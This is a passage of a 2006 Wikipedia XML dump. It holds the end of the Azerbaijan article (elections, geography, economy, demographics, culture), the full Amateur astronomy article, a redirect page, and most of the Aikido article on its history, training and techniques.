*[[Human Rights Watch]] commented on [[Azerbaijan presidential election, 2003|these elections]]: &quot;Human Rights Watch research found that the government has heavily intervened in the campaigning process in favor of Prime Minister Ilham Aliev, son of current President Heidar Aliev. The government has stacked the Central Election Commission and local election commission with its supporters, and banned local non-governmental organizations from monitoring the vote. As the elections draw nearer, government officials have openly sided with the campaign of Ilham Aliev, constantly obstructing opposition rallies and attempting to limit public participation in opposition events. In some cases, local officials have closed all the roads into town during opposition rallies, or have extended working and school hours—on one occasion, even declaring Sunday a workday—to prevent participation in opposition rallies.&quot; (source: [http://www.hrw.org/backgrounder/eca/azerbaijan/index.htm HTML format])

*OSCE’s final report (source: [http://www.osce.org/documents/html/pdftohtml/1151_en.pdf.html HTML format] or [http://www.osce.org/documents/odihr/2003/11/1151_en.pdf PDF format])

Azerbaijan held [[Azerbaijan parliamentary election, 2005|parliamentary elections]] on Sunday, [[6 November]] [[2005]].

== Subdivisions ==
''Main article: [[Subdivisions of Azerbaijan]]''

Azerbaijan is divided into:
*59 [[raion]]s (rayonlar; rayon &amp;ndash; singular),
*11 [[cities]] (şəhərlər; şəhər &amp;ndash; singular),
*1 [[autonomous republic]] (muxtar respublika), which itself is divided into:
**7 raions
**1 city

== Geography ==
[[Image:Map of Azerbaijan with cities.png|thumb|right|200px|Map of Azerbaijan]]
''Main article: [[Geography of Azerbaijan]]''

Azerbaijan has an [[arid]] [[climate]], except in the southeast. Temperatures vary by season. In the southeast [[lowland]], temperatures average 6°[[Celsius|C]] (43°[[Fahrenheit|F]]) in the winter and 26°C (80°F) in the summer &amp;mdash; though daily maxima typically reach 32°C (89°F). In the northern and western [[mountain range]]s, temperatures average 12°C (55°F) in the summer and &amp;ndash;9°C (20°F) in the winter.

Annual rainfall over most of the country varies from 200 to 400 millimetres (8 to 16&amp;nbsp;in) and is generally lowest in the northeast. In the far southeast, however, the climate is much moister and annual rainfall can be as high as 1300 [[millimetre]]s (51 [[inch|in]]). For most of the country, the wettest periods are in spring and autumn, with summers being the driest.

== Economy ==
''Main article: [[Economy of Azerbaijan]]''

The economy is largely based on [[industry]]. Industries include machine manufacture, [[petroleum]] and other [[mining]], petroleum [[refining]], [[textiles|textile]] production, and chemical processing. [[Agriculture]] accounts for one-third of Azerbaijan’s economy. Most of the nation’s farms are [[irrigation|irrigated]]. In the lowlands, farmers grow such crops as [[cotton]], [[fruit]], [[cereal|grain]], [[tea]], [[tobacco]], and many types of [[vegetable]]s. [[Silkworm]]s are raised for the production of natural [[silk]] for the clothing industry. Azerbaijan’s herders raise [[cattle]], [[domestic sheep]] and [[goat]]s near the mountain ranges. [[Seafood]] and [[fish]] are caught in the nearby [[Caspian Sea]]. Azerbaijan has a highly dynamic economy, mainly because of oil, and has a GDP growth rate of up to 11% a year.

== Demographics ==
''Main article: [[Demographics of Azerbaijan]]''

Azerbaijan has population of roughly 7,911,974 (July 2005 est.), 90.6% of whom are ethnic [[Azerbaijanis|Azerbaijani]] (also called Azeris; 1999 census figures). Azeris also form about 24% of the population of [[Iran]], predominating in the northern regions of the country. Most of Armenia’s Azeri minority have left since independence and the [[Nagorno-Karabakh]] war. The second largest ethnic group are [[Russians]], who now form roughly 1.8% of the population, most having emigrated since independence.
The [[Talysh]], an Iranian people, predominate in the southernmost regions of the country around the Talysh mountains and across the border into Iran. Some people argue that the number of [[Talysh]] is greater than officially recorded, as many of them are counted as Azerbaijanis.
Numerous 'Dagestani' peoples live around the border with [[Dagestan]]. The main peoples are the [[Lezgis]], [[Caucasian Avars|Avar]] and the [[Tsakhur]]. Smaller groups include the [[Budukh]], [[Udi]], [[Kryts]] and [[Khinalug]]/Ketsh around the village of [[Xinaliq]]. Around the town of [[Quba]] in the north live the [[Tats]], also known as the [[Mountain Jews]], who are also to be found in Dagestan. Many Tats have emigrated to [[Israel]] in recent years, though this trend has slowed and even reversed more recently.
The country’s large Armenian population mostly fled to [[Armenia]] and to other countries with the beginning of the Armenian-Azeri conflict over Nagorno-Karabakh. During the same period, Azerbaijan also received a large influx of Azerbaijanis fleeing Armenia and later [[Nagorno-Karabakh]] and adjacent provinces occupied by the Armenians. Almost all of Azerbaijan’s Armenians now live in Nagorno-Karabakh.
Azerbaijan also contains numerous smaller groups, such as [[Kurds]], [[Georgians]], [[Tatars]] and [[Ukrainians]].

Most Azerbaijanis (about 60–70%) are [[Twelver Shia]] [[Islam|Muslim]]. Other [[religion]]s or  beliefs that are followed by many in the country are the orthodox [[Sunni]] Islam, the [[Armenian Apostolic Church]] (in Karabakh), the [[Russian Orthodox Church]], and various other Christian and Muslim sects. The Tat in [[Quba]], as well as several thousand [[Ashkenazim Jews]] in Baku, follow [[Judaism]]. Adherence to religious dogmas is nominal for the majority of the population and attitudes are secular. Traditionally, villages around Baku and the [[Lenkoran]] region are considered stronghold of Shi‘ism, and in some northern regions populated by Sunni Dagestani people, the Salafi sect has gained a following. Folk Islam is widely practiced, but an organized [[Sufi]] movement is absent.

== Culture ==
''Main article: [[Culture of Azerbaijan]]''

The official language of Azerbaijan is [[Azerbaijani language|Azerbaijani]], a member of the [[Oguz]] subdivision of the [[Turkic languages|Turkic language family]], and is spoken by around 95% of the republic’s population, as well as about a third of the population of Iran. Its closest relatives in language are [[Turkish language|Turkish]] and [[Turkmen language|Turkmen]]. As a result of the language policy of the [[Soviet Union]], [[Russian language|Russian]] is also commonly spoken as a second language among the urbane. There are also speakers of [[Persian language|Persian]] and [[Kurdish language|Kurdish]] in the state. Azerbaijan’s culture has long cultural roots with [[Iran]] and [[Iranian peoples]].{{fact}}
* [[Music of Azerbaijan]]
* [[Islam in Azerbaijan]]
* [[Azerbaijani literature]]

== Miscellaneous topics ==
* [[Communications in Azerbaijan]]
* [[Transportation in Azerbaijan]]
* [[Military of Azerbaijan]]
* [[Foreign relations of Azerbaijan]]
* [[Public holidays in Azerbaijan]]
* [[List of Azerbaijanis]]
* [[Scout Association of Azerbaijan]]
* [[Nagorno-Karabakh]]

==References==
*Forrest, Brett (Nov. 28, 2005). &quot;Over a Barrel in Baku&quot;. ''[[Fortune (magazine)|Fortune]]'', pp. 54&amp;ndash;60.

== External links==
{{sisterlinks|Azerbaijan}}
* [http://www.cia.gov/cia/publications/factbook/geos/aj.html CIA World Factbook: ''Azerbaijan'']
* [http://news.bbc.co.uk/1/hi/world/europe/country_profiles/1235976.stm BBC Country Profile: ''Azerbaijan'']
* [http://dmoz.org/Regional/Asia/Azerbaijan Open Directory Project: ''Azerbaijan''] directory category
*[http://www.loc.gov/rr/international/amed/azerbaijan/azerbaijan.html Library of Congress Portals to the World: Azerbaijan] directory category
* [http://www.azerb.com/ Azerbaijan from A to Z]
* [http://www.azer.com Azerbaijan International] world's largest website about Azerbaijan
* [http://www.nationsencyclopedia.com/Asia-and-Oceania/Azerbaijan.html Encyclopedia of Nations — Azerbaijan]
* [http://www.azadlig.org/ Democratic Youth Movement New Idea]
* [http://www.zerbaijan.com/ Virtual Azerbaijan Republic]
*[http://www.caucaz.com/home_uk Caucaz.com]: Weekly online magazine publishing articles and reports about Azerbaijan and South Caucasus. Available in English and French.
*[http://www.bakutoday.net Baku Today]
*[http://www.azadliq.az/ Independent newspaper Azadliq]
*[http://www.azstat.org/indexen.php State Statistical Committee of the Azerbaijan Republic]
*[http://www.un-az.org United Nations Office in Azerbaijan] with a [http://www.un-az.org/couinf.htm country report]
*[http://ifex.org/en/content/view/full/179/ IFEX: Press Freedom in Azerbaijan]
{{Azerbaijantie}}

{{Europe}}

[[Category:Azerbaijan| ]]

[[ar:أذربيجان]]
[[an:Azerbayán]]
[[ast:Azerbaiyán]]
[[az:Azərbaycan]]
[[bg:Азербайджан]]
[[zh-min-nan:Azerbaijan]]
[[be:Азэрбайджан]]
[[bn:আজারবাইজান]]
[[bs:Azerbejdžan]]
[[ca:Azerbaidjan]]
[[cs:Ázerbájdžán]]
[[cy:Azerbaijan]]
[[da:Aserbajdsjan]]
[[de:Aserbaidschan]]
[[et:Aserbaidžaan]]
[[el:Αζερμπαϊτζάν]]
[[es:Azerbaiyán]]
[[eo:Azerbajĝano]]
[[eu:Azerbaijan]]
[[fa:جمهوری آذربایجان]]
[[fr:Azerbaïdjan]]
[[fy:Azerbeidzjan]]
[[gl:Acerbaixán - Azərbaycan]]
[[ko:아제르바이잔]]
[[hi:अज़रबैजान]]
[[hr:Azerbejdžan]]
[[io:Azerbaijan]]
[[id:Azerbaijan]]
[[is:Aserbaídsjan]]
[[it:Azerbaijan]]
[[he:אזרבייג'ן]]
[[ka:აზერბაიჯანი]]
[[kk:Әзірбайжан]]
[[ku:Azerbeycan]]
[[lv:Azerbaidžāna]]
[[lt:Azerbaidžanas]]
[[lb:Aserbaidschan]]
[[li:Azerbaidzjan]]
[[hu:Azerbajdzsán]]
[[ms:Azerbaijan]]
[[na:Azerbaijan]]
[[nl:Azerbeidzjan]]
[[nds:Aserbaidschan]]
[[ja:アゼルバイジャン]]
[[no:Aserbajdsjan]]
[[nn:Aserbajdsjan]]
[[os:Азербайджан]]
[[pl:Azerbejdżan]]
[[pt:Azerbaijão]]
[[ro:Azerbaidjan]]
[[ru:Азербайджан]]
[[sa:अजर्बैजान]]
[[sq:Azerbajxhani]]
[[simple:Azerbaijan]]
[[sk:Azerbajdžan]]
[[sl:Azerbajdžan]]
[[sr:Азербејџан]]
[[fi:Azerbaidžan]]
[[sv:Azerbajdzjan]]
[[tl:Azerbaijan]]
[[tt:Äzärbaycan]]
[[th:ประเทศอาเซอร์ไบจาน]]
[[tr:Azerbaycan]]
[[uk:Азербайджан]]
[[ur:آذربائجان]]
[[zh:阿塞拜疆]]</text>
    </revision>
  </page>
  <page>
    <title>Amateur astronomy</title>
    <id>748</id>
    <revision>
      <id>42139829</id>
      <timestamp>2006-03-04T02:08:03Z</timestamp>
      <contributor>
        <username>Mozasaur</username>
        <id>475997</id>
      </contributor>
      <minor />
      <comment>add amateur astro pics previously published by NASA</comment>
      <text xml:space="preserve">{{merge|Skygazing}}
'''Amateur astronomy''', often called '''back yard astronomy''' in the US, is a [[hobby]] whose participants enjoy observing celestial objects.  It is usually associated with viewing the [[night sky]] when most celestial objects and events are visible, but sometimes amateur astronomers also operate during the day for events such as [[sunspot]]s and [[solar eclipse]]s.

Amateur astronomers often look at the sky using nothing more than their eyes, but common tools for amateur astronomy include portable [[optical telescope|telescopes]] and [[binoculars]].

[[Image:AuroraAustralisDisplay.jpg|thumb|Aurora Australis Display Over Wellington NZ November 2001 Published by NASA SpaceWeather.com]]
[[Image:CometNeat.jpg|thumb|Comet Neat over Wellington NZ 2003]]

== Amateur astronomy and scientific research ==

Unlike professional astronomy, scientific research is not always the ''main'' goal for many amateur astronomers.  Work of scientific merit is certainly possible, however, and many amateurs contribute to the knowledge base of professional astronomers very successfully.  Astronomy is often promoted as one of the few remaining sciences for which amateurs can still contribute useful data. 

The majority of scientific contributions by amateur astronomers are in the area of data collection.  In particular, this applies where large numbers of amateur astronomers with small telescopes are more effective than the relatively small number of large telescopes that are available to professional astronomers.  Several organisations, such as the Center for Backyard Astrophysics [http://cba.phys.columbia.edu/], exist to help coordinate these contributions.

In particular, amateur astronomers often contribute toward activities such as monitoring the changes in brightness of [[variable star]]s, helping to track [[asteroid]]s, and observing [[occultation]]s to determine both the shape of asteroids and the shape of the terrain on the apparent edge of the [[Moon]] as seen from Earth.

In the past and present, amateur astronomers have also played a major role in discovering new [[comet]]s.  Recently however, funding of projects such as the [[LINEAR|Lincoln Near-Earth Asteroid Research]] and [[Near Earth Asteroid Tracking]] projects has meant that ''most'' comets are now discovered by automated systems, long before it is possible for amateurs to see them. 

A newer role for amateurs is searching for overlooked phenomena (e.g. [[Kreutz Sungrazers]]) in the vast libraries of digital images and other data captured by Earth and space based observatories, much of which is available over the Internet.

== Societies for amateur astronomy ==

There are a large number of [[astronomical society|amateur astronomical societies]] around the world that serve as a meeting point for those interested in amateur astronomy, whether they be people who are actively interested in observing or &quot;armchair astronomers&quot; who may be simply interested in the topic.  Societies range widely in their goals, depending on a variety of factors such as geographic spread, local circumstances, size and membership.  For instance, a local society in the middle of a large city may have regular meetings with speakers, focusing less on observing the night sky if the membership is less able to observe due to factors such as [[light pollution]].

It is common for local societies to hold regular meetings, which may include activities such as [[star party|star parties]].  Other activities could include [[amateur telescope making]], which was pioneered in America by [[Russell W. Porter]], who later played a major role in design and construction of the [[Hale Telescope]].

== Approaches to using amateur telescopes ==

Amateur telescopes come in many shapes and sizes, both commercial and home-built.  The preferences of people who use them often differ.

=== Star hopping ===

Some amateur astronomers prefer to learn the sky as accurately as they can, using maps to find their way between the stars.  In this case a common approach is to use binoculars or a manually driven telescope, combined with star maps, to locate items of interest in the sky.  The normal technique for doing this, by locating landmark stars and &quot;hopping&quot; between them, is called [[star hopping]].

=== GOTO telescopes ===

More recently as technology has improved and prices have come down, automated &quot;GOTO&quot; telescopes have also become a popular choice.  With these computer-driven telescopes, the user typically enters the name of the item they wish to look at, and the telescope finds it in the sky automatically with comparatively little further effort required by the user.

The main advantage of a &quot;GOTO&quot; telescope for an experienced amateur astronomer is the reduction of &quot;wasted&quot; time that may have otherwise been used in trying to find a particular object.  This time can therefore be used more effectively for ''studying'' the object.

=== Comparing methodologies ===

There is significant (though usually light-hearted) debate within the hobby about which method is better.  Promoters of the [[star hopping]] approach for finding items in the sky usually argue that they know the sky much better as a result.  The manual method also tends to require simpler equipment with less calibration and setup time, and is therefore more versatile.  Promoters of &quot;GOTO&quot; telescopes often argue that they are more interested in studying objects, and the reward of finding them or learning exactly where they are is not as important to them.

It may also be argued that the money spent on complex electronics and mounting systems might be better spent on higher quality optics.

== Additional tools and activities ==

In addition to optical equipment, amateur astronomers use a variety of other tools such as celestial maps, and specialised computer software.  There is a range of [[astronomy software]] available, from planetarium programs that simulate the sky to programs used to do various kinds of calculations pertaining to astronomical phenomena.

Most amateur astronomers also keep a record of their observations. This can take the form of an [[astronomical observing log|observing log]], in which they record details about which objects were observed and describing the details that were seen. [[Astrophotography]] and sketching are also popularly used to record observations.

== Beginning in amateur astronomy ==

There are a many ways for people to become involved in amateur astronomy and study the night sky.  One option is to join a local [[astronomical society]], the members of which will often be very happy to help a newcomer take a more active part.  Some people also prefer to simply teach themselves, in which case there are likely to be a large amount of books in the local library.

Common objects that are observed early are the [[Moon]] and [[planet]]s.  Another thing that most newcomers to amateur astronomy become acquainted with are the more prominent [[constellation]]s in the night sky.  When reading maps and interpreting instructions for future [[star hopping]], constellations are good starting points for identifying locations in the night sky.  They are frequently referred to by amateur astronomers when discussing the location of items of interest when looked at with binoculars and telescopes.

=== Beginning with a GOTO telescope ===

A relatively new ''type'' of beginning amateur astronomer, brought about by the increased affordability of powerful &quot;GOTO&quot; telescopes, is one who begins with such a telescope.  It is possible for an inexperienced person to immediately look at a large amount of deep sky objects in the night sky without necessarily having any prior experience or training.

There is currently some debate among amateur astronomers about the merits of this approach to becoming involved in the hobby, and the effects that low-priced GOTO telescopes may be having.  Amateur astronomy is exposed to more people, as an individual is less likely to be discouraged by the need to learn how to locate objects in the night sky before being able to see them.  Some are concerned, however, that newcomers may become bored very quickly.  A GOTO telescope does not distinguish between objects that are easy and hard to see, and newcomers may therefore begin with objects that require large amounts of experience or understanding to properly appreciate.

=== Becoming acquainted with the night sky ===

Most tutors agree that it is very important to know one's way around the sky by means of the constellations. This ability forms a platform from which deeper explorations of the sky are then possible. 

A planisphere can be used to find and identify the constellations.  These devises show the location of the constellations for any time of the night or time of the year. An observer will also need a red flashlight to read star charts or the planisphere.  Use of a red light helps preserve the dark adaptation of the eyes.   

Having learned the main constellations, a beginner may want to extend their hobby and buy a pair of binoculars or a telescope.

==== Using binoculars ====

With [[binoculars]] it is possible to see many [[deep sky object]]s (DSOs). Holding the binoculars can produce a shaky image. One way to improve the view is with the aid of a sturdy tripod mount to steady the view through the binoculars. Binoculars are still limited in range, although most of the [[Messier]] catalogue should be visible, as well as a great many [[New General Catalogue|NGC]]'s, especially near the [[Milky Way]]. An advantage of binoculars is that they allow more complete wide field views of the larger [[open clusters]] such as the [[Pleiades]], the [[Hyades]], the [[Coma Berenices]] cluster and [[Praesepe]], for example, of which only portions are usually observable in one [[field of view]] at higher magnifications.

==== Using a telescope ====

With a telescope, the sky really comes alive, especially one that has an [[aperture]] of six inches or more. Some amateur telescopes are [[telescope making|built]] by their owners from scratch, but many good quality telescopes can be purchased from reputable companies. Thousands of DSOs are visible in a telescope and the determined amateur with a large (about 41 cm) telescope can push this to tens of thousands or more.

Another type of telescope to consider, especially if the amateur is observing with children, is a wide-field telescope, such as Edmund Scientific's f/4 Astroscan compact [[Reflecting_telescope|reflector]]. This type of telescope is typically a short tube [[reflector telescope|reflector]] and has an [[aperture]] of only 80 to 120 mm (3 1/4 to 4 3/4 inches), but is easier to target an object, since it offers a much wider field of view.  With the aid of high power lenses (i.e. eyepieces), the amateur can zoom in on planets and some of the closer DSOs.  It is the best of a blend of a telescope's narrow long range light gathering ability with a binocular's wider field of view.  

Those who are particularly interested in observing the moon and planets may prefer a high-power design such as the [[Maksutov telescope]].

With any telescope, though, the mount is the most important feature.  A tripod that doesn't shake every time one uses it is a must.  Too many amateur astronomers give up because they have a hard time targeting an object.  If the mounting tripod is rock solid, the amateur can enjoy their time observing the heavens instead of fighting with the telescope.

==== Astrophotography ====
[[Image:Comet_Hale_Bopp_reduced.jpg|thumbnail|right|A photo taken of Comet Hale Bopp using a standard [[35 mm film|35 mm]] camera with a 50 mm lens and 400 ISO film.  The exposure was taken for 10 seconds on a tripod using a shutter cable release.]]

The next step in an amateur astronomer's quest for more space adventure could be the purchase of a good camera for [[Astrophotography]].  Starting out with a good 35 mm camera with a 50 mm lens mounted on a tripod and using a cable release and 400 or faster speed film, the amateur can capture some nice pictures of the planets and some larger nebula, like the [[Orion Nebula]].  Some of the larger comets and prolific meteor showers can be photographed this way as well.

As one progresses, cameras can be mounted directly on to telescopes, capturing on film many DSOs.  Special films and even the technique of hypering the film has been employed by the amateur.  Many  publications accept these astrophotos in their [[magazines]], [[i.e.]], ''[[Astronomy (magazine)|Astronomy]]'' and ''[[Sky &amp; Telescope]]''.

A more recent development is the use of [[webcam|webcams]] to do [[speckle imaging]] (also known as ''video astronomy''). The resulting short exposure frames can be stacked using the [[shift-and-add]] method of [[speckle imaging]] or selected to do [[lucky imaging]], all using commercially available astronomy software.

==== Sketching ====
As an alternative to photography in order to make a record of observations, amateurs also use sketching. Sketching does not require the use of any specialized equipment and is therefore suitable for beginners as well as advanced amateur observers. There are different approaches to sketching that require different tools, simple pencil sketches can sometimes be used to make accurate renditions of what the observer sees through binoculars or a telescope. As the expewrience of the observer increases, more advanced drawing tools and techniques can be employed.

Sketching has the advantage of helping the observer scrutinize the object that is seen and can help bring out details that otherwise might have been overlooked.

=== Suggested reading ===

Some good books for amateur astronomers to start with are:

* ''The Stars: A New Way to See Them'', by Hans Augusto Rey, ISBN 0-395-081211
* ''NightWatch: An Equinox Guide to Viewing the Universe'', by [[Terence Dickinson]], ISBN 0-920-656897
* ''The Backyard Astronomer's Guide'', by Terence Dickinson and Alan Dyer, ISBN 0-921-820119
* ''Turn Left at Orion'', by [[Guy Consolmagno]], ISBN 0-521-34090-X
* ''Skywatching'', by David H. Levy and John O'Byrne, ISBN 0-707-8354751-X
* ''Seeing in the Dark: How Backyard Stargazers Are Probing Deep Space and Guarding Earth from Interplanetary Peril'', by Timothy Ferris, ISBN 0-684-865793
* ''The Complete Manual Of Amateur Astronomy'', by P. Clay Sherrod
* ''Burnham's Celestial Handbook: An Observer's Guide to the Universe Beyond the Solar System'' (3 vols.), by [[Robert Burnham, Jr.]], (Vol 1) ISBN 048623567X, (Vol 2) ISBN 0486235688, (Vol 3) ISBN 0486236730

== See also ==

* [[Amateur telescope making]]
* [[Astronomical object]]
* [[Astronomy]]
* [[Observation]]
* [[Observational astronomy]]
* [[Skygazing]]

== External links ==

* [http://www.nightskygazing.net Night Sky Gazing] - information for newcomers to the hobby
* [http://www.astroleague.org Astronomical League]
* [http://www.popastro.com Society for Popular Astronomy] - the UK's biggest society for amateur astronomers
* [http://www.licha.de astroscopic labs] - amateur astrophotography, reviews and articles 

[[Category:Amateur astronomy| ]]

[[de:Amateurastronomie]]
[[es:Astronomía amateur]]
[[fr:Observation du ciel]]
[[it:Astronomia amatoriale]]
[[hu:Amatőrcsillagász]]
[[fi:Tähtitieteen harrastus]]
[[th:ดาราศาสตร์สมัครเล่น]]
[[zh:业余天文学]]</text>
    </revision>
  </page>
  <page>
    <title>Astronomers and Astrophysicists</title>
    <id>749</id>
    <revision>
      <id>15899267</id>
      <timestamp>2002-06-15T18:57:46Z</timestamp>
      <contributor>
        <username>DavidLevinson</username>
        <id>1689</id>
      </contributor>
      <comment>#REDIRECT [[Astronomer]] (merge content)</comment>
      <text xml:space="preserve">#REDIRECT [[Astronomer]]
</text>
    </revision>
  </page>
  <page>
    <title>Aikido</title>
    <id>751</id>
    <revision>
      <id>41829883</id>
      <timestamp>2006-03-02T00:42:47Z</timestamp>
      <contributor>
        <username>PRehse</username>
        <id>410898</id>
      </contributor>
      <comment>currently  the the article is written in British English - change all or none.</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; width=&quot;300&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;float:right;clear:right;&quot;
! colspan=&quot;2&quot; bgcolor=&quot;#FFCCCC&quot; | Aikido
|-
! colspan=&quot;2&quot; | Japanese Name
|-
| width=&quot;150&quot; | [[Kanji]]
| width=&quot;150&quot; | 合気道
|-
| width=&quot;150&quot; | [[Hiragana]]
| width=&quot;150&quot; | あいきどう
|-
| colspan=&quot;2&quot; | [[image:nikyo omote.jpeg|300px]]
|}

'''Aikido''' (合気道 ''Aikidō'', also 合氣道 using an older style of [[kanji]]), literally meaning 'joining energy way', is a [[gendai budo]] — a modern [[Japan]]ese [[martial art]]. Practitioners of Aikido are known as '''aikidoka'''. It was developed by [[Morihei Ueshiba]] (植芝盛平) (also known by Aikidoka as [[o-sensei]] (翁先生) over the period of the [[1930s]] to the [[1960s]]. Technically, the major parts of Aikido are derived from [[Daito Ryu|Daitō-ryū Aiki-jūjutsu]] (大東流合気柔術), a form of Jujutsu with many joint techniques, and [[kenjutsu]] (剣術), or Japanese sword technique (some believe the tactics in Aikido are especially influenced by [[Yagyu Shinkage-ryu|Yagyū Shinkage-ryū]]). Aikido is also considered to contain a significant [[Spirituality|spiritual]] component.

==History==
The name aikido is formed of three Japanese characters, 合気道, usually romanised as ai, [[qi|ki]] and [[do]]. These are often translated as meaning union, universal energy and way, so aikido can be translated as 'the way to union with universal energy'. Another common interpretation of the characters is harmony, spirit and way, so Aikido can also mean 'the way of spiritual harmony'. Both interpretations draw attention to the fact that aikido's techniques are designed to control an attacker by controlling and redirecting their energy instead of blocking it. An analogy is often made of the way a flexible willow bends with the storm, whereas the stout oak will break if the wind blows too hard. (The Korean [[martial arts|martial art]] commonly known as [[hapkido]] uses the same three characters: some suggest a historical link through [[Daito-ryu]], the main origin of aikido).

Morihei Ueshiba developed aikido mainly from Daito-ryu [[aikijutsu]], incorporating training movements such as those for the ''[[yari]]'' ([[spear]]), ''[[jo (weapon)|jo]]'' (a short [[quarterstaff]]), and perhaps also ''juken'' ([[bayonet]]).  But arguably the strongest influence is that of the [[katana]] ([[sword]]).  In many ways, an aikido practitioner moves as an empty handed swordsman.  The aikido strikes ''shomenuchi'' and ''yokomenuchi'' originated from weapon attacks, and resultant techniques likewise from weapon take-aways.  Some schools of aikido do no weapons training at all; others, such as [[Iwama Ryu]] usually spend substantial time with ''[[bokken]]''/bokuto (wooden sword), ''[[jo (weapon)|jo]]'', and ''[[tanto]]'' (knife). In some lines of aikido, all techniques can be performed with a sword as well as unarmed. 

Aikido was first brought to the West in [[1951]] by [[Minoru Mochizuki]] with a visit to [[France]]. It was introduced to the [[United States]] in [[1953]] by [[Kenji Tomiki]] and, a little later in the same year by [[Koichi Tohei]].  The [[United Kingdom]] followed in [[1955]], [[Germany]] and [[Australia]] in [[1965]].  Today there are many aikido [[dojo]]s available to train at throughout the world.

==Technique==
Aikido incorporates a wide range of techniques which use principles of energy and motion to redirect, neutralise and control attackers. One of the central martial philosophies of aikido is to be able to handle multiple-attacker circumstances fluidly. ''[[Randori]]'', practice against multiple opponents, is a key part of the curriculum in most aikido schools and is required for the higher level belts. Another tenet of aikido is that the aikidoka should gain control of their opponent as quickly as possible, while causing the least amount of damage possible to either party. If performed correctly, size and strength are not important for the techniques to be effective.

===Training===
The methods of training vary from organisation to organisation, and indeed even between different [[dojo]] in a single organisation. Typically, however, a class consists of a teacher demonstrating techniques or principles which the students then practice. Training is done through mutual technique, where the focus is on entering and blending (harmonising) with the attack, rather than on meeting force with force. ''Uke'', the receiver of the technique, usually initiates an attack against ''nage'' (also referred to as ''tori'' or ''shite'' depending on Aikido style), who neutralises it with an aikido technique. The uke and the nage have equally important roles.  Uke's role is to be honest and committed in attack, to use positioning to protect oneself, and to learn proper technique through the imbalanced feeling created by nage's technique.  Nage's role is to blend with and neutralise uke's attack without leaving an opening to further attacks.  Simultaneously nage will be studying how to create a feeling of being centred (on balance) and controlled in the application of the Aikido technique.  Therefore, students must practise both positions in order to learn proper technique. When O-Sensei taught, all his students were uke until he deemed them knowledgeable enough of the technique to be nage. Movement, awareness, precision, distance and timing are all important to the execution of techniques as students progress from rigidly defined exercises to more fluid and adaptable applications.  Eventually, students take part in ''jiyu-waza'' (free attack) and/or [[randori]], where the attacks are less predictable.  Most schools employ training methods wherein uke actively attempts to employ counter-techniques, or ''kaeshi-waza''.  

O-Sensei did not allow competition in training because some techniques were considered too dangerous and because he believed that competition did not develop good character in students. Most styles of aikido continue this tradition although [[Tomiki Aikido|Shodokan Aikido]] (see [[#Styles|Styles]]) started with competitions early on. In the [[Ki Society]] there are forms (''[[taigi]]'') competitions held from time to time.

====Defense====
Aikido techniques are largely designed towards keeping the attacker off balance and locking joints. Much of aikido's repertoire of defenses can be performed either as throwing techniques (''nage-waza'') or as pins (''katame-waza''), depending on the situation. Entering, ''irimi'', and turning, ''tenkan'', are widely used aikido concepts, as is striking, ''atemi''. The use of striking techniques is dependent on the organization and, to some extent, the individual dojo. Some dojo teach the strikes that are integral to all aikido techniques as mere distractions used to make the application of an aikido technique easier, while others teach that strikes are to be used for more destructive reasons. O-Sensei himself wrote, while describing the aikido technique ikkyo, &quot;...first smash the eyes.&quot; (This might well refer to the fact that the classic opener for ikkyo is a knife-hand thrust towards the face, to make uke block and thus expose his or her arm to the joint control - thus, ''as though'' moving to smash uke's eyes.)  Manipulation of uke's balance by entering is often referred to as &quot;taking uke's center&quot;. It is sometimes said that Aikido contains only defense, and the attacks that are performed are not really aikido. From a historical perspective this claim is questionable, but many if not most aikidoka have the defense techniques as the focus of their training.

====Attacks====
In the early days when Ueshiba began teaching to the public, students tended to be proficient in another martial art. Due to this, attacks per se are generally not focused on in contemporary aikido dojos. Students will learn the various attacks from which an Aikido technique can be practiced. Although attacks seldom are studied to the same extent as some arts, good attacks are needed to study correct and effective application of technique. &quot;Honest&quot; attacks are considered important. An &quot;honest&quot; attack would be an attack with full intention or a strong neutral (neither pulling or pushing) grab or hold. The speed of an attack may vary depending on the experience and level of the &quot;nage&quot; (the partner who executes the throw or technique). Whether the attack is fast or slow, the uke's intention to strike or control (if grabbing or pinning) should remain, in order to provide the nage a realistic training scenario. 

Aikido attacks used in normal training include various stylized strikes and grabs such as ''shomenuchi'' (a vertical strike to the head), ''yokomenuchi'' (a lateral strike to the side of the head and/or neck), ''munetsuki'' (a straight punch), ''ryotedori'' (a two handed grab) or ''katadori'' (a shoulder grab).  Many of the ''-uchi'' strikes resemble blows from a sword or other weapon.  Kicks are sometimes used, but are not usually part of basic curricula.   Most aikido techniques can also be applied to a response to an attack, e.g. to a block, and some schools use this as the &quot;basic&quot; form of a given class of technique.  Beginners also tend to work with techniques executed in response to a grab.  Grabs are considered good for basic practice because the connection with uke is very clear and strong, and it is easier to &quot;feel out&quot; body mechanics and lines of force.

There is also the matter of ''atemi'', or strikes employed during an aikido technique.  The role and importance of atemi is a matter of some debate in aikido. Some view atemi as strikes to &quot;vital points&quot; that can be delivered during the course of a technique's application, to increase effectiveness.   Others consider atemi to be methods of distraction, particularly when aimed at the face.  For instance, if a movement would expose the aikido practitioner to a counter-blow, he or she may deliver a quick strike to distract the attacker or occupy the threatening limb.  (Such a strike will also usually break the target's concentration, making them easier to throw than if they are able to focus on resisting.)  Atemi can be interpreted as not only punches or kicks but also, for instance, striking with a shoulder or a large part of the arm. Some throws are arguably effected through an unbalancing or abrupt application of atemi.  [http://www.tsuki-kage.com/ueshiba.html Many sayings about atemi] are attributed to [[Morihei Ueshiba]], although their precise content varies considerably based on the one doing the telling.

====Weapons====
Weapons training in aikido usually consists of [[jo (weapon)|jo]] (4-foot staff), [[bokken]] (wooden sword), and wooden (or sometimes rubber) [[tanto]] (knife).  Both weapons-taking and weapons-retention are sometimes taught, to integrate the armed and unarmed aspects of aikido.  For example, a technique done with a straight punch may be done with a tanto or jo thrust instead, or a grab technique may be illustrated as a way to draw/strike with a weapon while being grabbed.

Many schools use versions of [[Morihiro Saito]]'s weapons system: aiki-jo and aiki-ken. The system contains solo [[Kata (martial arts)|kata]] with jo, and paired exercises for both jo and bokken. Some lineages use bokken kata derived from older sword schools. Also, quite a few aikido teachers, such as [[Mitsugi Saotome]] and [[Kazuo Chiba]], have developed their own weapons systems.  This is largely due to the fact that O'Sensei did not teach weapons to his students, excepting a few.

===Clothing===
